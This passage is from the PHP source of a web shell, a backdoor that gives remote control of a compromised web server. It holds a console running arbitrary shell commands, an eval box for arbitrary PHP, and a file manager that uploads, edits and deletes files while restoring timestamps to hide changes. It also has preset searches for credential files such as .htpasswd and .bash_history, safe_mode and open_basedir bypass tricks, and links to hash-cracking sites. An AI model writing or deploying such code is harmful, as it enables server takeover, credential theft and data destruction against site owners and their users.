                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                break;
            case 'edit':
                if (!is_writable($_POST['p1'])) {
                    echo "File isn't writeable";
                    break;
                }
                if (!empty($_POST['p3'])) {
                    $time = @filemtime($_POST['p1']);
                    $_POST['p3'] = substr($_POST['p3'], 1);
                    $fp = @fopen($_POST['p1'], "w");
                    if ($fp) {
                        @fwrite($fp, $_POST['p3']);
                        @fclose($fp);
                        echo "Saved!<br><script>p3_=\"\";</script>";
                        @touch($_POST['p1'], $time, $time);
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</textarea><input type=submit value=\"submit\"></form>";
                break;
            case 'hexdump':
                $c = @file_get_contents($_POST['p1']);
                $n = 0;
                $h = array('00000000<br>', '', '');
                $len = strlen($c);
                for ($i = 0; $i < $len; ++$i) {
                    $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                    switch (ord($c[$i])) {
                        case 0:
                            $h[2] .= ' ';
                            break;
                        case 9:
                            $h[2] .= ' ';
                            break;
                        case 10:
                            $h[2] .= ' ';
                            break;
                        case 13:
                            $h[2] .= ' ';
                            break;
                        default:
                            $h[2] .= $c[$i];
                            break;
                    }
                    $n++;
                    if ($n == 32) {
                        $n = 0;
                        if ($i + 1 < $len) {
                            $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                        }
                        $h[1] .= '<br>';
                        $h[2] .= "\n";
                    }
                }
                echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                break;
            case 'rename':
                if (!empty($_POST['p3'])) {
                    if (!@rename($_POST['p1'], $_POST['p3'])) {
                        echo "Can't rename!<br>";
                    } else {
                        die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                break;
            case 'touch':
                if (!empty($_POST['p3'])) {
                    $time = strtotime($_POST['p3']);
                    if ($time) {
                        if (!touch($_POST['p1'], $time, $time)) {
                            echo "Fail!";
                        } else {
                            echo "Touched!";
                        }
                    } else {
                        echo "Bad time format!";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                break;
            /* (С) 12.2015 mitryz */
            case 'frame':
                $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                if ($frameSrc[0] != '/') {
                    $frameSrc = '/' . $frameSrc;
                }
                if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                    $frameSrc .= '/';
                }
                $frameSrc .= htmlspecialchars($_POST['p1']);
                echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                break;
        }
        echo "</div>";
        hardFooter();
    }
    if ($os == 'win') {
        $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    }
    function actionConsole()
    {
        if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
            $_POST['p1'] .= ' 2>&1';
        } elseif (!empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
        }
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            echo "d.cf.cmd.value='';\n";
            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\0"));
            if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                if (@chdir($match[1])) {
                    $GLOBALS['cwd'] = @getcwd();
                    echo "c_='" . $GLOBALS['cwd'] . "';";
                }
            }
            echo "d.cf.output.value+='" . $temp . "';";
            echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
            $temp = ob_get_clean();
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        hardHeader();
        echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
        echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
        foreach ($GLOBALS['aliases'] as $n => $v) {
            if ($v == '') {
                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                continue;
            }
            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
        }
        echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
        if (!empty($_POST['p1'])) {
            echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
        }
        echo "</textarea><table style=\"border:1px solid #060a10;background-color:#060a10;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
        echo "</form></div><script>d.cf.cmd.focus();</script>";
        hardFooter();
    }
    function actionPhp()
    {
        if (isset($_POST['ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
            ob_start();
            eval($_POST['p1']);
            $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        hardHeader();
        if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
            echo "<h1>PHP info</h1><div class=content>";
            ob_start();
            phpinfo();
            $tmp = ob_get_clean();
            $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
            $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
            $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
            echo $tmp;
            echo "</div><br>";
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
        }
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
        echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
        if (!empty($_POST['p1'])) {
            ob_start();
            eval($_POST['p1']);
            echo htmlspecialchars(ob_get_clean());
        }
        echo "</pre></div>";
        hardFooter();
    }
    function actionFilesMan()
    {
        if (!empty($_COOKIE['f'])) {
            $_COOKIE['f'] = @unserialize($_COOKIE['f']);
        }
        if (!empty($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (is_array($_FILES['f']['tmp_name'])) {
                        foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                            if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
                            }
                        }
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2'])) {
                        echo "Can't create new dir";
                    }
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = substr($path, -1) == '/' ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($▟ = readdir($dh)) !== false) {
                            $▟ = $path . $▟;
                            if (basename($▟) == ".." || basename($▟) == ".") {
                                continue;
                            }
                            $type = filetype($▟);
                            if ($type == "dir") {
                                deleteDir($▟);
                            } else {
                                @unlink($▟);
                            }
                        }
                        closedir($dh);
                        @rmdir($path);
                    }
                    if (is_array(@$_POST['f'])) {
                        foreach ($_POST['f'] as $f) {
                            if ($f == '..') {
                                continue;
                            }
                            $f = urldecode($f);
                            if (is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                    break;
                case 'paste':
                    if ($_COOKIE['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                        }
                    } elseif ($_COOKIE['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (@is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                        }
                    } elseif ($_COOKIE['act'] == 'zip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            if ($zip->open($_POST['p2'], 1)) {
                                chdir($_COOKIE['c']);
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($f == '..') {
                                        continue;
                                    }
                                    if (@is_file($_COOKIE['c'] . $f)) {
                                        $zip->addFile($_COOKIE['c'] . $f, $f);
                                    } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                        foreach ($iterator as $key => $value) {
                                            $zip->addFile(realpath($key), $key);
                                        }
                                    }
                                }
                                chdir($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'unzip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            foreach ($_COOKIE['f'] as $f) {
                                if ($zip->open($_COOKIE['c'] . $f)) {
                                    $zip->extractTo($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'tar') {
                        chdir($_COOKIE['c']);
                        $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                        ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                        chdir($GLOBALS['cwd']);
                    }
                    unset($_COOKIE['f']);
                    setcookie('f', '', time() - 3600);
                    break;
                default:
                    if (!empty($_POST['p1'])) {
                        prototype('act', $_POST['p1']);
                        prototype('f', serialize(@$_POST['f']));
                        prototype('c', @$_POST['c']);
                    }
                    break;
            }
        }
        hardHeader();
        echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
        $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo "Can't open this folder!";
            hardFooter();
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                $sort = array($match[1], (int) $match[2]);
            }
        }
        echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        }
        $GLOBALS['sort'] = $sort;
        function cmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size') {
                return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
            } else {
                return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
            }
        }
        usort($files, "cmp");
        usort($dirs, "cmp");
        $files = array_merge($dirs, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
            $l = $l ? 0 : 1;
        }
        echo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<label><select name='p1'>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
            echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
        }
        echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
        if (class_exists('ZipArchive')) {
            echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
        }
        echo "<option value='tar'>+ tar.gz</option>";
        echo "</select></label>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
            echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
        }
        echo "<input type='submit' value='submit'></td></tr></form></table></div>";
        hardFooter();
    }
    function actionStringTools()
    {
        if (!function_exists('hex2bin')) {
            function hex2bin($p)
            {
                return decbin(hexdec($p));
            }
        }
        if (!function_exists('binhex')) {
            function binhex($p)
            {
                return dechex(bindec($p));
            }
        }
        if (!function_exists('hex2ascii')) {
            function hex2ascii($p)
            {
                $r = '';
                for ($i = 0; $i < strLen($p); $i += 2) {
                    $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                }
                return $r;
            }
        }
        if (!function_exists('ascii2hex')) {
            function ascii2hex($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= sprintf('%02X', ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        if (!function_exists('full_urlencode')) {
            function full_urlencode($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= '%' . dechex(ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            if (in_array($_POST['p1'], $stringTools)) {
                echo $_POST['p1']($_POST['p2']);
            }
            $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        hardHeader();
        echo "<h1>String conversions</h1><div class=content>";
        echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
        foreach ($stringTools as $k => $v) {
            echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
        }
        echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
        if (!empty($_POST['p1'])) {
            if (in_array($_POST['p1'], $stringTools)) {
                echo htmlspecialchars($_POST['p1']($_POST['p2']));
            }
        }
        echo "</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\r\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\r\n\t\t\t<tr><td></td><td><input type='submit' value='submit'></td></tr>\r\n\t\t\t</table></form>";
        function hardRecursiveGlob($path)
        {
            if (substr($path, -1) != '/') {
                $path .= '/';
            }
            $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
            if (is_array($paths) && @count($paths)) {
                foreach ($paths as $▟) {
                    if (@is_dir($▟)) {
                        if ($path != $▟) {
                            hardRecursiveGlob($▟);
                        }
                    } else {
                        if (empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2']) !== false) {
                            echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($▟) . "\", \"view\",\"\")'>" . htmlspecialchars($▟) . "</a><br>";
                        }
                    }
                }
            }
        }
        if (@$_POST['p3']) {
            hardRecursiveGlob($_POST['c']);
        }
        echo "</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method='post' target='_blank' name='hf'>\r\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\r\n            <input type='hidden' name='act' value='find'/>\r\n\t\t\t<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\r\n            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>\r\n\t\t</form></div>";
        hardFooter();
    }
    function actionSafeMode()
    {
        $temp = '';
        ob_start();
        switch ($_POST['p1']) {
            case 1:
                $temp = @tempnam($test, 'cx');
                if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                    echo @file_get_contents($temp);
                    unlink($temp);
                } else {
                    echo "Sorry... Can't open file";
                }
                break;
            case 2:
                $files = glob($_POST['p2'] . '*');
                if (is_array($files)) {
                    foreach ($files as $filename) {
                        echo $filename . "\n";
                    }
                }
                break;
            case 3:
                $ch = curl_init("file://" . $_POST['p2'] . "\0" . SELF_PATH);
                curl_exec($ch);
                break;
            case 4:
                ini_restore("safe_mode");
                ini_restore("open_basedir");
                include $_POST['p2'];
                break;
            case 5:
                for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                    $uid = @posix_getpwuid($_POST['p2']);
                    if ($uid) {
                        echo join(':', $uid) . "\n";
                    }
                }
                break;
            case 6:
                if (!function_exists('imap_open')) {
                    break;
                }
                $stream = imap_open($_POST['p2'], "", "");
                if ($stream == FALSE) {
                    break;
                }
                echo imap_body($stream, 1);
                imap_close($stream);
                break;
        }
        $temp = ob_get_clean();
        hardHeader();
        echo "<h1>Safe mode bypass</h1><div class=content>";
